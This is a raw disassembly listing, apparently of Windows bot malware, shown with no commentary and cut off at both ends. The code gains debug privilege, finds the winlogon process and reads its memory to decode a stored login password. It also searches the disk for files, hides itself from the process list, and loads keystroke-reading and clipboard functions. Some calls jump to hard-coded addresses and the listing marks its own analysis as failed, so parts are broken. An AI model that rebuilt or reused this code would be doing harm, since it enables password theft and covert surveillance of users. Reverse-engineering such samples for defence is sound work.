push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_2F0]
push eax
call sub_40C4F7
add esp, 28h
loc_408D25: ; CODE XREF: sub_408B8D+60j
; sub_408B8D+A2j ...
push [ebp+var_4]
call dword_441394 ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_408BBD
pop edi
pop esi
loc_408D3F: ; CODE XREF: sub_408B8D+19j
pop ebx
leave
retn
sub_408B8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D42 proc near ; DATA XREF: sub_40F6F1+3E58o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_417AF0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408D97
lea eax, [ebp+var_114]
push eax
call sub_417AF0
pop ecx
mov [ebp+eax+var_115], bl
loc_408D97: ; CODE XREF: sub_408D42+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_42AA6C
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41792A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408DDC
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40DC10
add esp, 14h
loc_408DDC: ; CODE XREF: sub_408D42+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_408E5A
push eax
lea eax, [ebp+var_49C]
push offset unk_42AA3C
push eax
call sub_4173AC
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408E3A
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40DC10
add esp, 14h
loc_408E3A: ; CODE XREF: sub_408D42+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40C4F7
push [ebp+var_10]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
sub_408D42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E5A proc near ; CODE XREF: sub_408D42+B9p
; sub_408E5A+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41792A
mov edi, dword_4210B8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408F17
loc_408EA6: ; CODE XREF: sub_408E5A+BBj
test [ebp+var_144], 10h
jz short loc_408F03
cmp [ebp+var_118], 2Eh
jnz short loc_408ECA
cmp [ebp+var_117], 0
jz short loc_408F03
cmp [ebp+var_117], 2Eh
jz short loc_408F03
loc_408ECA: ; CODE XREF: sub_408E5A+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41792A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408E5A
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408F03: ; CODE XREF: sub_408E5A+53j
; sub_408E5A+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
nop
call near ptr 7C834EB1h
test eax, eax
jnz short loc_408EA6
loc_408F17: ; CODE XREF: sub_408E5A+4Aj
push [ebp+var_4]
nop
call near ptr 7C80EDD7h
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41792A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_408F9D
loc_408F4E: ; CODE XREF: sub_408E5A+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41792A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
nop
call near ptr 7C834EB1h
test eax, eax
jnz short loc_408F4E
loc_408F9D: ; CODE XREF: sub_408E5A+F2j
push esi
nop
call near ptr 7C80EDD7h
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408E5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408FAC proc near ; DATA XREF: sub_40F6F1+54A1o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_40BC5F
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_408FEB
cmp eax, 2
jz short loc_408FEB
push offset unk_42ACE0
jmp loc_40912A
; ---------------------------------------------------------------------------
loc_408FEB: ; CODE XREF: sub_408FAC+2Ej
; sub_408FAC+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_415B28
pop ecx
test eax, eax
pop ecx
jz loc_409125
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 7C801D77h
mov esi, dword_4210D8
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_441064, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_441058, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_441268, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_441060, eax
call esi ; GetProcAddress
mov dword_44105C, eax
call sub_40917E
test eax, eax
mov [ebp+arg_0], eax
jz loc_4090F8
mov esi, dword_4210D4
mov edi, 400h
mov ebx, offset dword_440058
push edi
push ebx
push offset off_42AC1C
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_440858
push edi
push offset off_42AC04
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_441270
push [ebp+arg_0]
jnz short loc_4090A4
call sub_409307
jmp short loc_4090A9
; ---------------------------------------------------------------------------
loc_4090A4: ; CODE XREF: sub_408FAC+EFj
call sub_4094AE
loc_4090A9: ; CODE XREF: sub_408FAC+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4090F1
cmp dword_441270, 0
jnz short loc_4090D8
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_42AB8C
push 200h
push eax
call sub_41792A
add esp, 18h
jmp short loc_40910B
; ---------------------------------------------------------------------------
loc_4090D8: ; CODE XREF: sub_408FAC+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4090E8
call sub_4095E4
jmp short loc_4090ED
; ---------------------------------------------------------------------------
loc_4090E8: ; CODE XREF: sub_408FAC+133j
call sub_40967B
loc_4090ED: ; CODE XREF: sub_408FAC+13Aj
pop ecx
push eax
jmp short loc_4090FD
; ---------------------------------------------------------------------------
loc_4090F1: ; CODE XREF: sub_408FAC+101j
push offset unk_42AB44
jmp short loc_4090FD
; ---------------------------------------------------------------------------
loc_4090F8: ; CODE XREF: sub_408FAC+B6j
push offset unk_42AB00
loc_4090FD: ; CODE XREF: sub_408FAC+143j
; sub_408FAC+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_40910B: ; CODE XREF: sub_408FAC+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_415B28
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 7C80ABDEh
pop ebx
jmp short loc_409138
; ---------------------------------------------------------------------------
loc_409125: ; CODE XREF: sub_408FAC+4Ej
push offset unk_42AABC
loc_40912A: ; CODE XREF: sub_408FAC+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_409138: ; CODE XREF: sub_408FAC+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_40915F
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_40DC10
add esp, 14h
loc_40915F: ; CODE XREF: sub_408FAC+191j
lea eax, [ebp+var_29C]
push eax
call sub_40C4F7
push [ebp+var_18]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_408FAC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40917E proc near ; CODE XREF: sub_408FAC+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_4210E8
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_4210E4
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_441064 ; ZwQuerySystemInformation
push ebp
push 0
call esi ; GetProcessHeap
push eax
nop
call near ptr 7C91043Dh
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_441064 ; ZwQuerySystemInformation
test eax, eax
jnz short loc_40926B
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_40926B
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_40926B
loc_409207: ; CODE XREF: sub_40917E+EBj
cmp word ptr [ebx+8], 5
jnz short loc_40925E
push 0
push 0
call dword_441058 ; RtlCreateQueryDebugBuffer
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_441268 ; RtlQueryProcessDebugInformation
test eax, eax
jnz short loc_40924F
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_418743
pop ecx
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_409283
loc_40924F: ; CODE XREF: sub_40917E+AAj
test edi, edi
jz short loc_40925A
push edi
call dword_441060 ; RtlDestroyQueryDebugBuffer
loc_40925A: ; CODE XREF: sub_40917E+D3j
mov eax, [esp+28h+var_10]
loc_40925E: ; CODE XREF: sub_40917E+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_409207
loc_40926B: ; CODE XREF: sub_40917E+6Dj
; sub_40917E+7Aj ...
xor edi, edi
loc_40926D: ; CODE XREF: sub_40917E+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
nop
call near ptr 7C91043Dh
mov eax, edi
loc_40927B: ; CODE XREF: sub_40917E+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_409283: ; CODE XREF: sub_40917E+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4092EC
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_409299: ; CODE XREF: sub_40917E+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_418743
pop ecx
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_409300
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_418743
pop ecx
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jnz short loc_4092DE
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4092DE: ; CODE XREF: sub_40917E+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_409299
loc_4092EC: ; CODE XREF: sub_40917E+10Fj
test edi, edi
jz short loc_4092F7
push edi
call dword_441060 ; RtlDestroyQueryDebugBuffer
loc_4092F7: ; CODE XREF: sub_40917E+170j
mov edi, [esp+28h+var_4]
jmp loc_40926D
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_40917E+13Cj
xor eax, eax
jmp loc_40927B
sub_40917E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409307 proc near ; CODE XREF: sub_408FAC+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 7C8309E1h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_409330
xor eax, eax
jmp loc_4094AB
; ---------------------------------------------------------------------------
loc_409330: ; CODE XREF: sub_409307+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 7C812D56h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_4210E8
push 8
call esi ; GetProcessHeap
mov edi, dword_4210E4
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_4210F0
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_409380
xor esi, esi
jmp loc_40949E
; ---------------------------------------------------------------------------
loc_409380: ; CODE XREF: sub_409307+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 7C80B9A0h
test eax, eax
jz loc_40948D
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_40948D
test [ebp+var_2B], 1
jnz loc_40948D
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_40948D
loc_4093E3: ; CODE XREF: sub_409307+112j
push edi
push offset dword_440058
call sub_42047C
pop ecx
test eax, eax
pop ecx
jnz short loc_40940B
lea eax, [edi+200h]
push eax
push offset dword_440858
call sub_42047C
pop ecx
test eax, eax
pop ecx
jz short loc_40941B
loc_40940B: ; CODE XREF: sub_409307+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_40948D
jmp short loc_4093E3
; ---------------------------------------------------------------------------
loc_40941B: ; CODE XREF: sub_409307+102j
test edi, edi
jz short loc_40948D
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 7C80E866h
test eax, eax
jz short loc_409456
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 7C80E7ECh
test eax, eax
jz short loc_409456
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_409456: ; CODE XREF: sub_409307+12Bj
; sub_409307+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_44127C, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_441274, eax
mov dword_441278, edi
loc_40948D: ; CODE XREF: sub_409307+90j
; sub_409307+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
nop
call near ptr 7C91043Dh
mov esi, [ebp+var_10]
loc_40949E: ; CODE XREF: sub_409307+74j
push [ebp+var_4]
nop
call near ptr 7C809B47h
pop edi
mov eax, esi
pop ebx
loc_4094AB: ; CODE XREF: sub_409307+24j
pop esi
leave
retn
sub_409307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094AE proc near ; CODE XREF: sub_408FAC:loc_4090A4p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 7C8309E1h
test eax, eax
mov [ebp+arg_0], eax
jz loc_4095A0
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 7C812D56h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_409597
mov edi, dword_4210E8
loc_4094F9: ; CODE XREF: sub_4094AE+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 7C80B9A0h
test eax, eax
jz short loc_409585
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_40958B
test [ebp+var_13], 1
jnz short loc_40958B
push ecx
push 8
call edi ; GetProcessHeap
push eax
nop
call near ptr 7C9105D4h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 7C8021CCh
test eax, eax
jz short loc_409577
push offset dword_440058
push esi
call sub_42047C
pop ecx
test eax, eax
pop ecx
jnz short loc_409577
lea eax, [esi+400h]
push offset dword_440858
push eax
call sub_42047C
pop ecx
test eax, eax
pop ecx
jz short loc_4095A7
loc_409577: ; CODE XREF: sub_4094AE+9Fj
; sub_4094AE+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
nop
call near ptr 7C91043Dh
jmp short loc_40958B
; ---------------------------------------------------------------------------
loc_409585: ; CODE XREF: sub_4094AE+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_40958B: ; CODE XREF: sub_4094AE+71j
; sub_4094AE+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4094F9
loc_409597: ; CODE XREF: sub_4094AE+3Fj
push [ebp+arg_0]
nop
call near ptr 7C809B47h
loc_4095A0: ; CODE XREF: sub_4094AE+1Ej
xor eax, eax
loc_4095A2: ; CODE XREF: sub_4094AE+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4095A7: ; CODE XREF: sub_4094AE+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_441274, ebx
mov dword_441278, eax
cmp [eax], cl
jnz short loc_4095C9
cmp [eax+1], cl
jz short loc_4095D1
loc_4095C9: ; CODE XREF: sub_4094AE+114j
; sub_4094AE+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4095C9
loc_4095D1: ; CODE XREF: sub_4094AE+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 7C809B47h
push 1
pop eax
jmp short loc_4095A2
sub_4094AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095E4 proc near ; CODE XREF: sub_408FAC+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_441270
push esi
mov esi, dword_4210E8
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
nop
call near ptr 7C9105D4h
mov ecx, dword_441270
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_441278
push eax
call sub_417490
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_44127C
push eax
call dword_44105C ; RtlRunDecodeUnicodeString
push [ebp+var_4]
mov edi, offset dword_441068
push offset dword_440058
push offset dword_440858
push [ebp+arg_0]
push offset unk_42AD40
push 200h
push edi
call sub_41792A
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
nop
call near ptr 7C91043Dh
mov eax, edi
pop edi
pop esi
leave
retn
sub_4095E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40967B proc near ; CODE XREF: sub_408FAC:loc_4090E8p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_441270
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 7C80ABC1h
push eax
nop
call near ptr 7C9105D4h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_440858
mov edi, 200h
mov esi, offset dword_43FE58
loc_4096C1: ; CODE XREF: sub_40967B+FAj
mov eax, dword_441270
add eax, eax
push eax
push dword_441278
push [ebp+var_14]
call sub_417490
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_44105C ; RtlRunDecodeUnicodeString
mov eax, dword_441270
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_409736
loc_4096FE: ; CODE XREF: sub_40967B+B3j
cmp [ebp+var_8], 0
jz short loc_409753
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_409722
cmp byte ptr [ecx+1], 0
jnz short loc_409722
cmp dl, 20h
jnb short loc_40971C
and [ebp+var_8], 0
loc_40971C: ; CODE XREF: sub_40967B+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_409726
loc_409722: ; CODE XREF: sub_40967B+90j
; sub_40967B+96j
and [ebp+var_8], 0
loc_409726: ; CODE XREF: sub_40967B+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4096FE
cmp [ebp+var_8], 0
jz short loc_409753
loc_409736: ; CODE XREF: sub_40967B+81j
push [ebp+var_14]
push offset dword_440058
push ebx
push [ebp+arg_0]
push offset unk_42AD40
push edi
push esi
call sub_41792A
add esp, 1Ch
jmp short loc_40976B
; ---------------------------------------------------------------------------
loc_409753: ; CODE XREF: sub_40967B+87j
; sub_40967B+B9j
push offset dword_440058
push ebx
push [ebp+arg_0]
push offset unk_42ADAC
push edi
push esi
call sub_41792A
add esp, 18h
loc_40976B: ; CODE XREF: sub_40967B+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4096C1
push [ebp+var_14]
push 0
nop
call near ptr 7C80ABC1h
push eax
nop
call near ptr 7C91043Dh
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_40967B endp
; =============== S U B R O U T I N E =======================================
sub_409794 proc near ; CODE XREF: ___:0040EC83p
push ebx
push ebp
mov ebp, dword_4210FC
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4210D8
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4098B4
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_441464, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4413D8, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4413BC, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4412D8, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_441284, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4412B4, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_441328, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_441418, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_441474, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4412E4, eax
call esi ; GetProcAddress
cmp dword_441464, ebx
mov dword_4412CC, eax
jz short loc_409892
cmp dword_4413D8, ebx
jz short loc_409892
cmp dword_4413BC, ebx
jz short loc_409892
cmp dword_4412D8, ebx
jz short loc_409892
cmp dword_4412B4, ebx
jz short loc_409892
cmp dword_441328, ebx
jz short loc_409892
cmp dword_441418, ebx
jz short loc_409892
cmp dword_441474, ebx
jz short loc_409892
cmp dword_4412E4, ebx
jz short loc_409892
cmp eax, ebx
jnz short loc_40989C
loc_409892: ; CODE XREF: sub_409794+B8j
; sub_409794+C0j ...
mov dword_441478, 1
loc_40989C: ; CODE XREF: sub_409794+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4413F0, eax
jz short loc_4098C9
push 1
push ebx
call eax
jmp short loc_4098C9
; ---------------------------------------------------------------------------
loc_4098B4: ; CODE XREF: sub_409794+1Dj
nop
call near ptr 7C910331h
mov dword_44147C, eax
mov dword_441478, 1
loc_4098C9: ; CODE XREF: sub_409794+117j
; sub_409794+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 7C801D77h
mov edi, eax
cmp edi, ebx
jz loc_4099DE
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_441414, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4413C4, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_441358, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_441468, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_441388, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4413A8, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_44140C, eax
call esi ; GetProcAddress
cmp dword_441414, ebx
mov dword_441300, eax
jz short loc_409982
cmp dword_4413C4, ebx
jz short loc_409982
cmp dword_441358, ebx
jz short loc_409982
cmp dword_441468, ebx
jz short loc_409982
cmp dword_441388, ebx
jz short loc_409982
cmp dword_4413A8, ebx
jz short loc_409982
cmp dword_44140C, ebx
jz short loc_409982
cmp eax, ebx
jnz short loc_40998C
loc_409982: ; CODE XREF: sub_409794+1B8j
; sub_409794+1C0j ...
mov dword_441480, 1
loc_40998C: ; CODE XREF: sub_409794+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_441384, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
